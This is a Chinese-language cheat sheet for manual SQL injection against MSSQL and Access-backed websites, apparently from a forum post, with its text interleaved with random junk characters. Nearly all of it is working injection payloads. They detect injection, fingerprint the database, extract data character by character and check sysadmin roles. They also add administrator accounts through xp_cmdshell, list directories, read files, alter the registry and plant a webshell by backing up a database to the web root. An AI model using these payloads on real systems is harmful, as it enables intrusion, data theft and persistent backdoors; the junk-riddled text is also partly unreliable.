手工脚本注入
$ Y `% Z! X$ b1 P2 p1.判断是否有注入;and 1=1 ;and 1=2 1 H. e9 r9 o: K' u p) x- R
; S3 u# ?4 S. k* `, g5 V2.初步判断是否是mssql ;and user>0
! d* x& i4 D! F1 \3 C" [7 S- Q! S/ f. i) M; y+ J
3.注入参数是字符'and [查询条件] and ''='
# r6 _+ t# W0 S$ b* i7 e7 n
& r' ]& s6 K. _5 T4.搜索时没过滤参数的'and [查询条件] and '%25'=' - ^' x4 M: C7 S; J+ C$ w& k) G
: H6 }% _# p \% H& D
5.判断数据库系统
* x8 U* i& M9 L0 G, C* o;and (select count(*) from sysobjects)>0 mssql 3 o- G6 H+ ^! d/ x# G% v
;and (select count(*) from msysobjects)>0 access
% K1 g6 X% S; A* n- a
3 v/ n, U" T+ A6 t6.猜数据库 ;and (select Count(*) from [数据库名])>0
/ w% y( z7 Q5 ^: ^3 I& i1 v8 N# w# U U
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 5 C+ c: o, M1 ?6 X" E- E% w& h
+ r: X$ }' {4 H! D' ]9 R! ?& o
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 $ [8 S& k' p6 I7 C' ?
8 M* w, V/ c% c
9.(1)猜字段的ascii值(access)
! K; r0 I0 w1 Z; J) e;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
+ q6 v) \4 S" ]
, h4 K# u0 {( `3 [) I3 D+ i$ c(2)猜字段的ascii值(mssql) 5 y5 e9 @, A! q+ T# c
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 1 M* p3 X4 _4 H7 }* d `1 r
# J5 P2 ~' H3 k( v10.测试权限结构(mssql) $ o9 a7 h; t; N8 |+ j: }
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 1 Y7 E% \1 T4 N& J8 p0 x% W
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 9 M; E: E0 @3 k+ Z5 W0 a. ?! j) q
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- d' Y f B& P5 d: i$ v. C3 M
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- * I# U4 W( O- _) G9 {+ m
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
! e/ l+ m' d1 Y5 D: c+ G; Q;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
/ j; Y" G7 W' a;and 1=(select IS_MEMBER('db_owner'));--
' i& B' H9 [2 W. d* u* X9 P
' A8 J0 Z1 z( I! u0 V R11.添加mssql和系统的帐户 4 X h) e! E$ w" \. @' G2 y: G
;exec master.dbo.sp_addlogin username;--
) c1 f# C3 n. W+ v7 l9 K
1 E2 B. l% G8 z. ]6 |9 Y# A$ w1 W6 s;exec master.dbo.sp_password null,username,password;-- ( X( `* i# V e$ [# t# l7 t/ [
9 e+ O, y; Y6 M% Z, x;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ! B" h/ A' o1 L3 U" t$ t0 F
% B' A$ m) K/ P. m5 t" p# @. }7 ?
;exec master.dbo.xp_cmdshell 'net user username password
/ _- W# e% p6 d0 k, A/ W* \- z/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- , X, L' j" E* T; K+ W( O3 O
' Y. r" a2 ^, X/ u( e9 ?
;exec master.dbo.xp_cmdshell 'net user username password /add';-- % c7 v: L2 N% d, {5 W
$ }) x" l9 Q+ y5 `4 b;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ! n; c# `( v6 u5 g; Z. W; p' m
$ A! t1 ~; i# n" c. t
12.(1)遍历目录
% B, g. V8 v' }, r2 ?
, a+ \$ g5 K) {2 g0 w8 r;create table dirs(paths varchar(100), id int) H% a7 Z9 o W; x8 T [
;insert dirs exec master.dbo.xp_dirtree 'c:\'
: B- q( e) ?, o9 |8 }- ~+ L;and (select top 1 paths from dirs)>0 3 S. }8 r8 ]' G- d! p1 {$ o" ~
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) * v& _% t% H7 X ?7 O6 f7 Z
, ]+ ?& G' z! P
(2)遍历目录
/ P Q. e" K1 \# S$ A };create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- % m4 G z$ E6 \; N% _% Q; R
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 5 i6 X( W1 M4 l& _3 T) m
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
" l5 [: D: R0 _% T" l& x5 l+ {- Q;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
. W' Y2 a% W: L; x2 l8 W;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 & M! m' P" _: _* q* ^
2 I9 O0 R) r5 R+ ^% P0 S$ e13.mssql中的存储过程 3 e- f7 I2 p3 n/ U2 S. r0 O
/ ^! g. D/ o4 R N
xp_regenumvalues 注册表根键, 子键
# M. w* [* d" c6 };exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
{4 C3 l1 `* B/ |" Z
1 G% {, {- M" z& X' g G/ Ixp_regread 根键,子键,键值名
& C, d4 ?* c! m, a5 f;exec xp_regread : T) B1 h! I1 m. c/ S
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 6 d6 H. l! I0 i! U& e
; n, @1 M5 i& j3 Z3 _; Wxp_regwrite 根键,子键, 值名, 值类型, 值 # b/ R2 u$ R6 j
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
4 {# s" p6 k$ H! }5 Q;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
1 w% C) }- J# T8 M
8 A; t/ E3 Q$ T& c* Sxp_regdeletevalue 根键,子键,值名
, N( K* ]. D7 ^' B: T1 g+ O
+ P" H% _9 j1 @, N$ f ~exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
/ u, J, B2 X2 _3 {4 O2 u6 n4 F3 [" P7 F. B. h* V
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
5 _) F# `6 L" f5 ]; G. e: U& a" T6 H$ [/ }: u
14.mssql的backup创建webshell / K4 K% E' ~' ]* d. P
use model 8 i. K- b8 G' I4 j" L+ l" B
create table cmd(str image); % C/ U$ M" ]+ p# z6 c
insert into cmd(str) values ('');
# `. O6 c2 R5 z- a$ B8 Nbackup database model to disk='c:\l.asp';
8 |( G8 R. v0 X* G7 r% o; `
& }7 F9 a7 x3 h: e$ n15.mssql内置函数
, K7 ]5 Q, ^4 S- p( y;and (select @@version)>0 获得Windows的版本号 % B- I W U5 Y2 j1 e" S: g
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
; {" U% ^* R" n$ d+ \* n;and (select user_name())>0 爆当前系统的连接用户
. C% j0 c1 p. N* p1 v3 d;and (select db_name())>0 得到当前连接的数据库
# r( a' Z ?3 Y" i0 z2 [/ h$ m* ^& V1 M
16.简洁的webshell , \! j" a1 e. R: `) V8 V, c9 z
" W" j# p7 V. zuse model 3 r6 \2 U; h2 _# Q' b1 O
' }7 g1 W) k$ G, m" E5 D. Qcreate table cmd(str image);
) j, N2 }3 D' I) M6 B: U
/ H3 D5 |( w1 c. vinsert into cmd(str) values ('');
* E2 q1 w, P) e( @! _
( |0 V4 P$ d( T. Fbackup database model to disk='g:\wwwtest\l.asp';
& Y. R8 K7 k) q4 v; a- _ * L0 J1 {$ n; d! l+ C4 i
|